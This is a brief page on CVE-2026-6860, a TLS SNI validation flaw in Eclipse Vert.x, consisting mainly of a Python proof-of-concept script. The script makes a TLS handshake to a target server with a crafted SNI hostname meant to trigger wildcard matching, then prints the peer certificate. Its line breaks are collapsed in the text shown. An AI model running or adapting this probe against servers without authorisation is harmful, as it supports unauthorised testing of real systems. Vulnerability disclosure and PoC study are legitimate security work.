CVE-2026-6860 Eclipse Vert.x TLS SNI验证漏洞

import socket import ssl def send_malicious_sni(target_host, target_port, crafted_sni): """ PoC to send a TLS handshake with a crafted SNI. This demonstrates the client capability mentioned in the vulnerability description. """ # Create a standard TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Create an SSL context context = ssl.create_default_context() try: # Wrap the socket with SSL, specifying the crafted SNI (Server Name Indication) # This simulates the attacker sending a specific name to match the wildcard ssl_sock = context.wrap_socket(sock, server_hostname=crafted_sni) # Connect to the target ssl_sock.connect((target_host, target_port)) print(f"[+] TLS Handshake successful with SNI: {crafted_sni}") print(f"[+] Peer certificate: {ssl_sock.getpeercert()}") # Clean up ssl_sock.close() except Exception as e: print(f"[-] Error during connection: {e}") if __name__ == "__main__": # Example usage target = "example.com" # Replace with actual vulnerable server port = 443 malicious_sni = "xyz.example.com" # A name intended to trigger the wildcard logic send_malicious_sni(target, port, malicious_sni)